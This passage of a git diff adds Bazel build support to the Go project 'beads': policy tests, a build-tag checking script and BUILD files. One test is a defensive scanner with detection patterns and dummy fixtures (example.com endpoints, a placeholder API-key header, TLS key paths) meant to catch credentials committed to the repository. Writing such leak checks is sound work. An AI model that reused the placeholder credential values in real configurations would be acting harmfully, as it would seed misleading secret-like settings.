errors.New("MODULE.bazel go_sdk.download version " + strconv.Quote(got) + + " != go.mod toolchain " + strconv.Quote(want) + "; update them in lockstep") + } + } + return nil +} + +func TestBazelGoSDKMatchesGoModToolchain(t *testing.T) { + root := bazelPolicyRoot(t) + if err := checkGoSDKMatchesToolchain(readPolicyFile(t, root, "MODULE.bazel"), readPolicyFile(t, root, "go.mod")); err != nil { + t.Fatal(err) + } + + goMod := "module example.com/m\n\ngo 1.26.0\n\ntoolchain go1.26.7\n" + for name, module := range map[string]string{ + "skewed": "go_sdk.download(\n name = \"go_sdk\",\n version = \"1.26.6\",\n)\n", + "missing": "bazel_dep(name = \"rules_go\", version = \"0.63.0\")\n", + "no version": "go_sdk.download(name = \"go_sdk\")\n", + "commented": "# go_sdk.download(version = \"1.26.7\")\n", + "second skew": "go_sdk.download(version = \"1.26.7\")\ngo_sdk.download(version = \"1.25.0\")\n", + } { + if err := checkGoSDKMatchesToolchain(module, goMod); err == nil { + t.Errorf("%s: expected a mismatch error for MODULE.bazel fixture:\n%s", name, module) + } + } + if err := checkGoSDKMatchesToolchain("go_sdk.download(version = \"1.26.7\")\n", goMod); err != nil { + t.Errorf("matching fixture rejected: %v", err) + } + if err := checkGoSDKMatchesToolchain("go_sdk.download(version = \"1.26.0\")\n", "module m\n\ngo 1.26.0\n"); err != nil { + t.Errorf("go directive fallback rejected: %v", err) + } +} + +// --- ICU policy: gms_pure_go under Bazel ------------------------------------ + +var bazelrcPureGoTagRe = regexp.MustCompile( + `^(build|common)\s+(?:.*\s)?--@@?rules_go//go/config:tags=(?:[^\s,]+,)*gms_pure_go(?:,[^\s,]+)*(?:\s|$)`) + +// checkBazelrcSetsPureGo requires a build (or common) line that sets the +// gms_pure_go tag, so every bazel build/test/run links the pure-Go regex +// backend (engdocs/ICU-POLICY.md). +func checkBazelrcSetsPureGo(bazelrc string) error { + for _, line := range strings.Split(bazelrc, "\n") { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + if bazelrcPureGoTagRe.MatchString(line) { + return nil + } + } + return errors.New(".bazelrc must contain `build --@rules_go//go/config:tags=gms_pure_go` (engdocs/ICU-POLICY.md)") +} + +// checkModulePrunesICU requires the go-mysql-server gazelle_override that +// selects the pure-Go regex file and excludes the cgo/ICU one; without it +// gazelle keeps the go-icu-regex (libicu) dependency edge. +func checkModulePrunesICU(module string) error { + module = stripStarlarkComments(module) + for _, call := range regexp.MustCompile(`(?s)go_deps\.gazelle_override\((.*?)\n\)`).FindAllStringSubmatch(module, -1) { + body := call[1] + if !strings.Contains(body, `"github.com/dolthub/go-mysql-server"`) { + continue + } + if !strings.Contains(body, `"gazelle:build_tags gms_pure_go"`) { + return errors.New("go-mysql-server gazelle_override lacks \"gazelle:build_tags gms_pure_go\"") + } + if !strings.Contains(body, `"gazelle:exclude internal/regex/regex_cgo.go"`) { + return errors.New("go-mysql-server gazelle_override lacks \"gazelle:exclude internal/regex/regex_cgo.go\"") + } + return nil + } + return errors.New("MODULE.bazel has no go_deps.gazelle_override for github.com/dolthub/go-mysql-server") +} + +func TestBazelICUPolicy(t *testing.T) { + root := bazelPolicyRoot(t) + if err := checkBazelrcSetsPureGo(readPolicyFile(t, root, ".bazelrc")); err != nil { + t.Error(err) + } + if err := checkModulePrunesICU(readPolicyFile(t, root, "MODULE.bazel")); err != nil { + t.Error(err) + } + if !regexp.MustCompile(`(?m)^# gazelle:build_tags (?:\S+,)*gms_pure_go(?:,\S+)*\s*$`).MatchString(readPolicyFile(t, root, "BUILD.bazel")) { + t.Error("root BUILD.bazel must carry `# gazelle:build_tags gms_pure_go`") + } + + for name, rc := range map[string]string{ + "absent": "build --incompatible_strict_action_env\n", + "commented": "# build --@rules_go//go/config:tags=gms_pure_go\n", + "test only": "test --@rules_go//go/config:tags=gms_pure_go\n", + "config only": "build:remote-exec --@rules_go//go/config:tags=gms_pure_go\n", + "lookalike": "build --@rules_go//go/config:tags=gms_pure_go_x\n", + } { + if err := checkBazelrcSetsPureGo(rc); err == nil { + t.Errorf("%s: expected .bazelrc fixture to be rejected:\n%s", name, rc) + } + } + for _, rc := range []string{ + "build --@rules_go//go/config:tags=gms_pure_go\n", + "common --@rules_go//go/config:tags=foo,gms_pure_go\n", + "build --@@rules_go//go/config:tags=gms_pure_go,bar # trailing\n", + } { + if err := checkBazelrcSetsPureGo(rc); err != nil { + t.Errorf("valid .bazelrc fixture rejected: %q: %v", rc, err) + } + } + + override := "go_deps.gazelle_override(\n directives = [\n \"gazelle:build_tags gms_pure_go\",\n%s ],\n path = \"github.com/dolthub/go-mysql-server\",\n)\n" + if err := checkModulePrunesICU(strings.Replace(override, "%s", "", 1)); err == nil { + t.Error("gazelle_override without the regex_cgo.go exclude was accepted") + } + if err := checkModulePrunesICU(strings.Replace(override, "%s", " \"gazelle:exclude internal/regex/regex_cgo.go\",\n", 1)); err != nil { + t.Errorf("complete gazelle_override rejected: %v", err) + } +} + +// --- .bazelversion pinned --------------------------------------------------- + +func checkBazelVersionPin(content string) error { + v := strings.TrimSpace(content) + if !regexp.MustCompile(`^\d+\.\d+\.\d+(?:rc\d+)?$`).MatchString(v) { + return errors.New(".bazelversion must pin an exact Bazel release (e.g. 9.2.0), got " + strconv.Quote(v)) + } + return nil +} + +func TestBazelVersionPinned(t *testing.T) { + root := bazelPolicyRoot(t) + content, err := os.ReadFile(filepath.Join(root, ".bazelversion")) + if err != nil { + t.Fatalf(".bazelversion must exist so bazelisk pins one Bazel release: %v", err) + } + if err := checkBazelVersionPin(string(content)); err != nil { + t.Error(err) + } + for _, bad := range []string{"", "latest", "9.x", "9", "last_green"} { + if checkBazelVersionPin(bad) == nil { + t.Errorf(".bazelversion fixture %q was accepted", bad) + } + } +} + +// --- machine-local rc files are gitignored ---------------------------------- + +// bazelLocalRCFiles hold a developer's remote-executor endpoint and TLS +// credential paths; they must never be committed. +var bazelLocalRCFiles = []string{".bazelrc.local", "user.bazelrc"} + +// checkGitignoreCoversLocalRCs reports local rc files that no top-level +// .gitignore pattern ignores (or that a later negation re-includes). It +// understands the literal and root-anchored forms used for these files. +func checkGitignoreCoversLocalRCs(gitignore string) []string { + ignored := map[string]bool{} + for _, line := range strings.Split(gitignore, "\n") { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + negate := strings.HasPrefix(line, "!") + pattern := strings.TrimPrefix(strings.TrimPrefix(line, "!"), "/") + for _, name := range bazelLocalRCFiles { + if ok, _ := filepath.Match(pattern, name); ok { + ignored[name] = !negate + } + } + } + var missing []string + for _, name := range bazelLocalRCFiles { + if !ignored[name] { + missing = append(missing, name) + } + } + return missing +} + +func TestBazelLocalRCFilesGitignored(t *testing.T) { + root := bazelPolicyRoot(t) + if missing := checkGitignoreCoversLocalRCs(readPolicyFile(t, root, ".gitignore")); len(missing) > 0 { + t.Errorf(".gitignore must ignore %v (they carry remote endpoints and credential paths)", missing) + } + // Cross-check with git itself when running from a checkout. + if gitRepoAvailable(root) { + for _, name := range bazelLocalRCFiles { + cmd := exec.Command("git", "-C", root, "check-ignore", "-q", "--no-index", name) + if err := cmd.Run(); err != nil { + t.Errorf("git check-ignore %s: not ignored (%v)", name, err) + } + } + } + + if missing := checkGitignoreCoversLocalRCs("/bazel-*\n"); len(missing) != 2 { + t.Errorf("fixture without rc patterns: missing = %v, want both", missing) + } + if missing := checkGitignoreCoversLocalRCs("/.bazelrc.local\n/user.bazelrc\n!user.bazelrc\n"); len(missing) != 1 || missing[0] != "user.bazelrc" { + t.Errorf("fixture with negation: missing = %v, want [user.bazelrc]", missing) + } + if missing := checkGitignoreCoversLocalRCs("*.bazelrc.local\nuser.bazelrc\n"); len(missing) != 0 { + t.Errorf("fixture with glob patterns: missing = %v, want none", missing) + } +} + +// --- no remote-execution endpoints in tracked files ------------------------- + +// Remote-execution endpoints, credentials and TLS material belong in a +// gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the +// workspace, never in the repository. The scan covers committed bazelrc-like +// files, Markdown docs and .github/** (plan §3.8) and flags: +// - any remote/BES/TLS flag below whose value is a literal (not a +// , a $VARIABLE/${{ expression }}, empty, or loopback); +// - in rc and .github files, any gRPC URL that is not loopback. Markdown is +// exempt from this rule because beads documents OTel gRPC exporters. + +var ( + remoteFlagNames = `remote_executor|remote_cache|remote_downloader|remote_header|remote_instance_name|` + + `bes_backend|bes_results_url|bes_header|tls_client_certificate|tls_client_key|tls_certificate` + // `--flag=value` is recognized everywhere; `--flag value` only in rc and + // workflow files, where prose ("--remote_executor and ...") does not occur. + remoteFlagEqRe = regexp.MustCompile(`--(` + remoteFlagNames + `)=("[^"]*"|'[^']*'|[^\s"'` + "`" + `]*)`) + remoteFlagSpaceRe = regexp.MustCompile(`--(` + remoteFlagNames + `)\s+("[^"]*"|'[^']*'|[^\s"'` + "`" + `]+)`) + remoteEndpointRe = regexp.MustCompile(`\bgrpcs?://[^\s"'<>)\]]+`) + loopbackValueRe = regexp.MustCompile(`^(?:[a-z][a-z0-9+.-]*://)?(?:127\.0\.0\.1|localhost|\[::1\])(?:[:/]|$)`) + // remoteScanPrefilter: a file lacking all of these cannot produce a hit. + remoteScanPrefilter = [][]byte{[]byte("--remote_"), []byte("--bes_"), []byte("--tls_"), []byte("grpc")} +) + +type endpointHit struct { + path string + line int + what string +} + +// remoteScanKind classifies a tracked path for the endpoint scan. +func remoteScanKind(rel string) (scan, strict bool) { + base := filepath.Base(rel) + switch { + case strings.Contains(base, "bazelrc"), strings.HasPrefix(rel, ".github/"): + return true, true + case strings.HasSuffix(base, ".md"): + return true, false + } + return false, false +} + +func allowedRemoteValue(v string) bool { + v = strings.Trim(v, `"'`) + if i := strings.Index(v, "://"); i >= 0 { + v = v[i+len("://"):] + } + return v == "" || strings.HasPrefix(v, "<") || strings.HasPrefix(v, "$") || loopbackValueRe.MatchString(v) +} + +// findRemoteEndpoints reports literal remote endpoints/credentials in content. +// strict enables the whitespace-separated flag form and the gRPC URL rule. +func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit { + if bytes.IndexByte(content, 0) >= 0 { // binary + return nil + } + relevant := false + for _, needle := range remoteScanPrefilter { + if bytes.Contains(content, needle) { + relevant = true + break + } + } + if !relevant { + return nil + } + flagRes := []*regexp.Regexp{remoteFlagEqRe} + if strict { + flagRes = append(flagRes, remoteFlagSpaceRe) + } + var hits []endpointHit + scanner := bufio.NewScanner(bytes.NewReader(content)) + scanner.Buffer(make([]byte, 0, 64*1024), 16*1024*1024) + for n := 1; scanner.Scan(); n++ { + line := scanner.Text() + for _, re := range flagRes { + for _, m := range re.FindAllStringSubmatch(line, -1) { + if !allowedRemoteValue(m[2]) { + hits = append(hits, endpointHit{path: path, line: n, what: m[0]}) + } + } + } + if strict { + for _, url := range remoteEndpointRe.FindAllString(line, -1) { + if !allowedRemoteValue(url) { + hits = append(hits, endpointHit{path: path, line: n, what: url}) + } + } + } + } + return hits +} + +func gitRepoAvailable(root string) bool { + if _, err := exec.LookPath("git"); err != nil { + return false + } + return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil +} + +func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { + // Fixtures are assembled at runtime so this file never contains a literal + // endpoint itself. + scheme := "grpc" + "s://" + flag := func(name string) string { return "--" + name } + for _, bad := range []string{ + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe.example.com:443\n", + "build:remote-exec " + flag("remote_executor") + "=rbe.example.com:443\n", + "build:remote-exec " + flag("remote_executor") + " rbe.example.com:443\n", + "build " + flag("remote_cache") + "=https://cache.example.com\n", + "build " + flag("bes_backend") + "=bes.example.com\n", + "build " + flag("bes_results_url") + "=https://results.example.com/inv/\n", + "build " + flag("remote_header") + "=x-api-key=abc123\n", + "build " + flag("tls_client_certificate") + "=/etc/rbe/client.crt\n", + "build " + flag("tls_client_key") + "=\"/etc/rbe/client.key\"\n", + "# farm: " + scheme + "10.0.0.5:8980\n", + "REMOTE=" + "grpc" + "://cache.internal:9092\n", + } { + if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { + t.Errorf("endpoint fixture not detected: %q", bad) + } + } + for _, ok := range []string{ + "build:remote-exec " + flag("remote_executor") + "=" + scheme + "\n", + "build:remote-exec " + flag("remote_executor") + "=\n", + "build:remote-exec " + flag("tls_client_certificate") + "=\n", + " run: echo \"build " + flag("remote_executor") + "=${{ secrets.BAZEL_REMOTE_EXECUTOR }}\" >> \"$RUNNER_TEMP/ci.bazelrc\"\n", + " " + flag("tls_client_key") + " \"$RUNNER_TEMP/rbe.key\"\n", + " " + flag("remote_executor") + "=" + scheme + "${{ secrets.RBE_HOST }}\n", + flag("remote_cache") + "=" + "grpc" + "://127.0.0.1:50052\n", + flag("remote_cache") + "=localhost:9092\n", + flag("remote_cache") + "=\n", + "build " + flag("remote_timeout") + "=600\n", + "use grpc for transport\n", + } { + if hits := findRemoteEndpoints(".bazelrc", []byte(ok), true); len(hits) != 0 { + t.Errorf("allowed fixture flagged: %q -> %v", ok, hits) + } + } + // Markdown: OTel gRPC exporter URLs and prose mentioning the flag are fine; + // a literal flag value is not. + for _, ok := range []string{ + "Set OTEL_EXPORTER_OTLP_ENDPOINT=" + "grpc" + "://collector:4317\n", + "Pass " + flag("remote_executor") + " and TLS flags from user.bazelrc.\n", + } { + if hits := findRemoteEndpoints("docs/x.md", []byte(ok), false); len(hits) != 0 { + t.Errorf("allowed Markdown fixture flagged: %q -> %v", ok, hits) + } + } + if len(findRemoteEndpoints("docs/x.md", []byte("bazel build "+flag("remote_executor")+"=rbe.example.com:443 //...\n"), false)) == 0 { + t.Error("literal remote_executor in Markdown not detected") + } + for rel, want := range map[string][2]bool{ + ".bazelrc": {true, true}, + "tools/ci.bazelrc": {true, true}, + ".bazelrc.local": {true, true}, + ".github/workflows/x.yml": {true, true}, + "docs/BAZEL.md": {true, false}, + "issues.jsonl": {false, false}, + "internal/telemetry/x.go": {false, false}, + } { + if scan, strict := remoteScanKind(rel); scan != want[0] || strict != want[1] { + t.Errorf("remoteScanKind(%q) = %v,%v, want %v,%v", rel, scan, strict, want[0], want[1]) + } + } + + root := bazelPolicyRoot(t) + if !gitRepoAvailable(root) { + t.Skip("not a git checkout (e.g. Bazel sandbox); tracked-file scan runs under go test and CI") + } + out, err := exec.Command("git", "-C", root, "ls-files", "-z", "--", "*bazelrc*", "*.md", ".github").Output() + if err != nil { + t.Fatalf("git ls-files: %v", err) + } + var hits []endpointHit + for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + scan, strict := remoteScanKind(rel) + if !scan { + continue + } + info, err := os.Lstat(filepath.Join(root, rel)) + if err != nil || !info.Mode().IsRegular() { + continue // deleted in the worktree, submodule, or symlink + } + content, err := os.ReadFile(filepath.Join(root, rel)) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + hits = append(hits, findRemoteEndpoints(rel, content, strict)...) + } + for _, h := range hits { + t.Errorf("%s:%d: remote endpoint or credential %q in a tracked file; it belongs in a gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the workspace", h.path, h.line, h.what) + } +} diff --git a/scripts/bench-ready-indexes/BUILD.bazel b/scripts/bench-ready-indexes/BUILD.bazel new file mode 100644 index 000000000..9d64f87d8 --- /dev/null +++ b/scripts/bench-ready-indexes/BUILD.bazel @@ -0,0 +1,22 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "bench-ready-indexes_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/scripts/bench-ready-indexes", + visibility = ["//visibility:private"], + deps = ["@com_github_go_sql_driver_mysql//:mysql"], +) + +go_binary( + name = "bench-ready-indexes", + embed = [":bench-ready-indexes_lib"], + visibility = ["//visibility:public"], +) + +go_test( + name = "bench-ready-indexes_test", + srcs = ["main_test.go"], + embed = [":bench-ready-indexes_lib"], + deps = ["@com_github_data_dog_go_sqlmock//:go-sqlmock"], +) diff --git a/scripts/check-build-tags.sh b/scripts/check-build-tags.sh index c24ae18ce..895d458f9 100755 --- a/scripts/check-build-tags.sh +++ b/scripts/check-build-tags.sh @@ -7,6 +7,11 @@ # (b) appears in a file that sources .buildflags beforehand, nor # (c) is an exempt third-party tool install (go install X@version). # +# Bazel invocations (`bazel build|test|run|...`) are not `go` invocations: +# their Go build tags come from the committed .bazelrc, not GOFLAGS. When any +# scanned file invokes Bazel, the script instead requires .bazelrc to set +# `--@rules_go//go/config:tags=...gms_pure_go` for build (and so test/run). +# # This is the source-time companion to scripts/verify-cgo.sh (which is a # runtime check on release binaries). See engdocs/ICU-POLICY.md. @@ -31,6 +36,8 @@ mapfile -t candidates < <( opt_out_regex='^(scripts/test-cgo\.sh|scripts/test-icu-path\.sh|scripts/check-build-tags\.sh|examples/)' fail=0 +bazel_users=() +bazel_invocation_regex='(^|[^[:alnum:]_/.-])(bazel|bazelisk|\$\(BAZEL\)|\$\{?BAZEL\}?)[[:space:]]+(build|test|run|coverage|query|cquery|aquery|mod)($|[[:space:]])' for f in "${candidates[@]}"; do [[ -f "$f" ]] || continue [[ "$f" =~ $opt_out_regex ]] && continue @@ -40,6 +47,11 @@ for f in "${candidates[@]}"; do continue fi + # Record files that drive Bazel; .bazelrc must then carry the tag. + if grep -Eq "$bazel_invocation_regex" "$f" 2>/dev/null; then + bazel_users+=("$f") + fi + # Does the file source .buildflags before any `go` invocation? # If so, GOFLAGS covers all bare `go` commands in the file. sources_buildflags=no @@ -78,6 +90,34 @@ for f in "${candidates[@]}"; do continue fi + # Bazel invocations are governed by .bazelrc (checked below), even + # when their arguments mention a go verb (e.g. `bazel run @rules_go//go -- test`). + # Only the Bazel command itself is exempt: split the line into shell + # command segments (on &&, ||, ;, |, $( and backticks) and drop the + # segments that invoke Bazel, so `bazel build x && go test ./...` + # still has its `go test` checked. Make variable references like + # $(BAZEL) are rewritten to ${BAZEL} first so they are not split. + # Lines without a Bazel invocation are checked unchanged. + # Pure bash (no sed): BSD sed does not expand \n in replacements. + segmented="$stripped" + while [[ "$segmented" =~ \$\(([A-Za-z_][A-Za-z0-9_]*)\) ]]; do + segmented="${segmented/"${BASH_REMATCH[0]}"/\$\{${BASH_REMATCH[1]}\}}" + done + nl=$'\n' + segmented="${segmented//&&/$nl}" + segmented="${segmented//||/$nl}" + segmented="${segmented//;/$nl}" + segmented="${segmented//|/$nl}" + segmented="${segmented//\$\(/$nl}" + segmented="${segmented//\`/$nl}" + if [[ "$segmented" =~ $bazel_invocation_regex ]]; then + stripped="" + while IFS= read -r segment; do + [[ "$segment" =~ $bazel_invocation_regex ]] && continue + stripped+="$segment"$'\n' + done <<< "$segmented" + fi + verb="" if [[ "$stripped" =~ (^|[^[:alnum:]_/.-])go[[:space:]]+(build|test|run|generate|install)($|[[:space:]]) ]]; then verb="${BASH_REMATCH[2]}" @@ -125,6 +165,22 @@ for f in "${candidates[@]}"; do done < <(grep -n -E '\bgo[[:space:]]+(build|test|run|generate|install)\b' "$f" 2>/dev/null || true) done +# Bazel: every `bazel` invocation reads the committed .bazelrc, so the tag +# must be set there once. Accept `build` or `common` (test/run inherit build). +bazelrc_tag_regex='^[[:space:]]*(build|common)[[:space:]]+(.*[[:space:]])?--@(@)?rules_go//go/config:tags=([^[:space:]]*,)?gms_pure_go(,[^[:space:]]*)?([[:space:]]|$)' +if [[ ${#bazel_users[@]} -gt 0 || -f .bazelrc ]]; then + if [[ ! -f .bazelrc ]]; then + printf 'error: %s invoke(s) Bazel but .bazelrc is missing\n' "${bazel_users[*]}" >&2 + fail=1 + elif ! grep -Eq "$bazelrc_tag_regex" .bazelrc; then + printf 'error: .bazelrc does not set --@rules_go//go/config:tags=gms_pure_go for build\n' >&2 + if [[ ${#bazel_users[@]} -gt 0 ]]; then + printf ' Bazel is invoked from: %s\n' "${bazel_users[*]}" >&2 + fi + fail=1 + fi +fi + if [[ "$fail" -ne 0 ]]; then cat >&2 <<'EOF' @@ -138,6 +194,9 @@ Fix by EITHER: 2. Pass -tags=gms_pure_go (or -tags=other,gms_pure_go) explicitly. 3. Add a '# build-tags: allow-bare' marker in the top 5 lines of the file if it intentionally exercises the ICU path. + +Bazel invocations take their tags from .bazelrc, which must contain: + build --@rules_go//go/config:tags=gms_pure_go EOF exit 1 fi diff --git a/scripts/check_build_tags_test.go b/scripts/check_build_tags_test.go new file mode 100644 index 000000000..1ececfc31 --- /dev/null +++ b/scripts/check_build_tags_test.go @@ -0,0 +1,105 @@ +package scripts_test + +import ( + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" +) + +// runCheckBuildTags runs check-build-tags.sh in a throwaway git repository +// holding the given tracked files plus a .bazelrc that sets gms_pure_go. The +// script resolves the repository from its own location, so it is copied in. +func runCheckBuildTags(t *testing.T, files map[string]string) (string, error) { + t.Helper() + if runtime.GOOS == "windows" { + t.Skip("checker is a Bash boundary") + } + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not available") + } + // The checker needs bash >= 4 (mapfile); macOS ships bash 3.2 as /bin/bash. + if err := exec.Command("bash", "-c", "type mapfile").Run(); err != nil { + t.Skip("bash lacks mapfile (bash >= 4 required)") + } + script, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "check-build-tags.sh")) + if err != nil { + t.Fatalf("read check-build-tags.sh: %v", err) + } + dir := t.TempDir() + all := map[string]string{ + "scripts/check-build-tags.sh": string(script), + ".bazelrc": "build --@rules_go//go/config:tags=gms_pure_go\n", + } + for rel, content := range files { + all[rel] = content + } + for rel, content := range all { + full := filepath.Join(dir, rel) + if err := os.MkdirAll(filepath.Dir(full), 0o700); err != nil { + t.Fatalf("mkdir %s: %v", filepath.Dir(full), err) + } + if err := os.WriteFile(full, []byte(content), 0o600); err != nil { + t.Fatalf("write %s: %v", rel, err) + } + } + for _, args := range [][]string{{"init", "-q"}, {"add", "-A"}} { + cmd := exec.Command("git", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_NOSYSTEM=1") + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + } + cmd := exec.Command("bash", filepath.Join(dir, "scripts", "check-build-tags.sh")) + cmd.Dir = dir + out, err := cmd.CombinedOutput() + return string(out), err +} + +// A Bazel invocation on the same line must not exempt a bare `go` command in +// another shell command segment of that line. +func TestCheckBuildTagsBazelLineDoesNotExemptBareGo(t *testing.T) { + for name, line := range map[string]string{ + "and-list": "bazel build //cmd/bd && go test ./internal/...", + "sequence": "bazel query //... >/dev/null; go build ./cmd/bd", + "substitution": "go run ./cmd/bd -- $(bazel run //:gazelle)", + "pipe": "bazel query //... | go run ./cmd/bd", + "make var": "\t$(BAZEL) build //... || go install ./cmd/bd", + } { + t.Run(name, func(t *testing.T) { + out, err := runCheckBuildTags(t, map[string]string{"scripts/ci.sh": "#!/usr/bin/env bash\n" + line + "\n"}) + if err == nil { + t.Fatalf("bare go next to a Bazel invocation was accepted: %q\n%s", line, out) + } + if !strings.Contains(out, "scripts/ci.sh:2") { + t.Errorf("expected scripts/ci.sh:2 to be reported, got:\n%s", out) + } + }) + } +} + +func TestCheckBuildTagsExemptsBazelInvocations(t *testing.T) { + out, err := runCheckBuildTags(t, map[string]string{ + "scripts/ci.sh": "#!/usr/bin/env bash\n" + + "bazel run @rules_go//go -- test ./...\n" + + "bazel test //... && go test -tags=gms_pure_go ./...\n" + + "bazel build //cmd/bd | tee build.log\n", + "Makefile": "BAZEL ?= bazel\nsync:\n\t$(BAZEL) run //:gazelle\n\t$(BAZEL) mod tidy\n", + }) + if err != nil { + t.Fatalf("Bazel invocations should be exempt: %v\n%s", err, out) + } +} + +func TestCheckBuildTagsRequiresBazelrcTagForBazelUsers(t *testing.T) { + out, err := runCheckBuildTags(t, map[string]string{ + "scripts/ci.sh": "#!/usr/bin/env bash\nbazel build //...\n", + ".bazelrc": "build --incompatible_strict_action_env\n", + }) + if err == nil { + t.Fatalf(".bazelrc without gms_pure_go was accepted:\n%s", out) + } +} diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel new file mode 100644 index 000000000..f274ac03d --- /dev/null +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -0,0 +1,10 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "gitattributespolicy_test", + srcs = [ + "git_boundary_test.go", + "gitattributes_policy_test.go", + "required_host_test.go", + ], +) diff --git a/scripts/migration-test/catalog/BUILD.bazel b/scripts/migration-test/catalog/BUILD.bazel new file mode 100644 index 000000000..3aed211c2 --- /dev/null +++ b/scripts/migration-test/catalog/BUILD.bazel @@ -0,0 +1,20 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "catalog_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/scripts/migration-test/catalog", + visibility = ["//visibility:private"], +) + +go_binary( + name = "catalog", + embed = [":catalog_lib"], + visibility = ["//visibility:public"], +) + +go_test( + name = "catalog_test", + srcs = ["main_test.go"], + embed = [":catalog_lib"], +) diff --git a/scripts/prlintmake/BUILD.bazel b/scripts/prlintmake/BUILD.bazel new file mode 100644 index 000000000..813c6d873 --- /dev/null +++ b/scripts/prlintmake/BUILD.bazel @@ -0,0 +1,6 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "prlintmake_test", + srcs = ["prlintmake_test.go"], +) diff --git a/scripts/repro-dolt-hang/BUILD.bazel b/scripts/repro-dolt-hang/BUILD.bazel new file mode 100644 index 000000000..87208ed30 --- /dev/null +++ b/scripts/repro-dolt-hang/BUILD.bazel @@ -0,0 +1,18 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library") + +go_library( + name = "repro-dolt-hang_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/scripts/repro-dolt-hang", + visibility = ["//visibility:private"], + deps = [ + "//internal/storage/doltutil", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) + +go_binary( + name = "repro-dolt-hang", + embed = [":repro-dolt-hang_lib"], + visibility = ["//visibility:public"], +) diff --git a/scripts/repro-dolt-prod-timeouts/BUILD.bazel b/scripts/repro-dolt-prod-timeouts/BUILD.bazel new file mode 100644 index 000000000..b38d6644a --- /dev/null +++ b/scripts/repro-dolt-prod-timeouts/BUILD.bazel @@ -0,0 +1,32 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "repro-dolt-prod-timeouts_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/scripts/repro-dolt-prod-timeouts", + visibility = ["//visibility:private"], + deps = [ + "//internal/storage/depid", + "//internal/storage/doltutil", + "@com_github_go_sql_driver_mysql//:mysql", + ], +) + +go_binary( + name = "repro-dolt-prod-timeouts", + embed = [":repro-dolt-prod-timeouts_lib"], + visibility = ["//visibility:public"], +) + +go_test( + name = "repro-dolt-prod-timeouts_test", + srcs = ["main_test.go"], + embed = [":repro-dolt-prod-timeouts_lib"], + deps = [ + "//internal/storage/depid", + "//internal/storage/doltutil", + "//internal/storage/schema", + "//internal/testutil", + "@com_github_data_dog_go_sqlmock//:go-sqlmock", + ], +) diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel new file mode 100644 index 000000000..115d75c1d --- /dev/null +++ b/test/conformance/BUILD.bazel @@ -0,0 +1,8 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "conformance", + srcs = ["profiles.go"], + importpath = "github.com/steveyegge/beads/test/conformance", + visibility = ["//visibility:public"], +) diff --git a/test/docsync/BUILD.bazel b/test/docsync/BUILD.bazel new file mode 100644 index 000000000..64b26a9c8 --- /dev/null +++ b/test/docsync/BUILD.bazel @@ -0,0 +1,9 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "docsync_test", + srcs = [ + "docsync_test.go", + "doltpin_test.go", + ], +) diff --git a/test/testmainconvention/BUILD.bazel b/test/testmainconvention/BUILD.bazel new file mode 100644 index 000000000..68121c2c6 --- /dev/null +++ b/test/testmainconvention/BUILD.bazel @@ -0,0 +1,6 @@ +load("@rules_go//go:def.bzl", "go_test") + +go_test( + name = "testmainconvention_test", + srcs = ["testmain_convention_test.go"], +) diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel new file mode 100644 index 000000000..31c29bfc2 --- /dev/null +++ b/third_party/patches/BUILD.bazel @@ -0,0 +1,12 @@ +# Patches applied to third-party Go modules via go_deps.module_override in +# MODULE.bazel. They replace WORKSPACE-era BUILD files shipped by some dolt +# dependencies that do not resolve under bzlmod + gazelle. +# +# eventsapi_schema_build.patch, flatbuffers_v23_importpath.patch and +# dolt_go_serial.patch are adapted from the gascity project +# (github.com/gastownhall/gascity, third_party/patches). Keep them in sync +# when bumping the pinned dolt versions in go.mod. + +package(default_visibility = ["//visibility:public"]) + +exports_files(glob(["*.patch"])) diff --git a/third_party/patches/dolt_go_serial.patch b/third_party/patches/dolt_go_serial.patch new file mode 100644 index 000000000..1cc03be5c --- /dev/null +++ b/third_party/patches/dolt_go_serial.patch @@ -0,0 +1,42 @@ +diff -ruN a/serial/BUILD.bazel b/serial/BUILD.bazel +--- a/serial/BUILD.bazel 2026-09-21 23:59:07.249245731 +0000 ++++ b/serial/BUILD.bazel 2026-09-21 23:59:07.250190084 +0000 +@@ -1,35 +1,10 @@ + load("@io_bazel_rules_go//go:def.bzl", "go_library") +-load("@rules_pkg//:pkg.bzl", "pkg_tar") + + package(default_visibility = ["//visibility:public"]) + +-alias( +- name = "flatc", +- actual = "@com_github_dolthub_flatbuffers//:flatc", +-) +- +-genrule( +- name = 